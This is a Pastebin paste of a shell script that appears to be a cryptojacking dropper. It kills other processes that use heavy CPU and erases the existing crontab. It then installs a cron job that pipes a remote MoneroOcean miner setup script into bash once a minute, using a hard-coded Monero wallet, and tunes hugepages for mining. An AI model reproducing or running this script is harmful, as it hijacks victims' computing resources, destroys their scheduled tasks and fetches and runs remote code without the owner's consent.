Advertisement
Guest User

Untitled

a guest
Apr 19th, 2019
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.74 KB | None | 0 0
  1. #!/bin/sh
  2. ps aux | grep -vw xmrig | awk '{if($3>40.0) print $2}' | while read procid
  3. do
  4. kill -9 $procid
  5. done
  6. ps -fe|grep -w xmrig |grep -v grep
  7. if [ $? -eq 0 ]
  8. then
  9. pwd
  10. else
  11. crontab -r || true && \
  12. echo "* * * * * curl -s https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | sed 's/sleep 15//g' | bash -s '4Aotje6mGNPRcDQeqS7iUwRLGJhLLgJvfbS6Dju5peSACbVXTFhnds53xuoqif3JEcfbdjiW27xuAJiiKeiCGbuoACrutNE'" >> /tmp/cron || true && \
  13. crontab /tmp/cron || true && \
  14. rm -rf /tmp/cron || true && \
  15. proc=`grep -c ^processor /proc/cpuinfo`
  16. cores=$((($proc+1)/2))
  17. num=$(($cores*3))
  18. /sbin/sysctl -w vm.nr_hugepages=`$num`
  19. #nohup ./xmrig -c config.json -t `echo $cores` >/dev/null &
  20. fi
  21. sleep 3
  22. echo "runing....."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement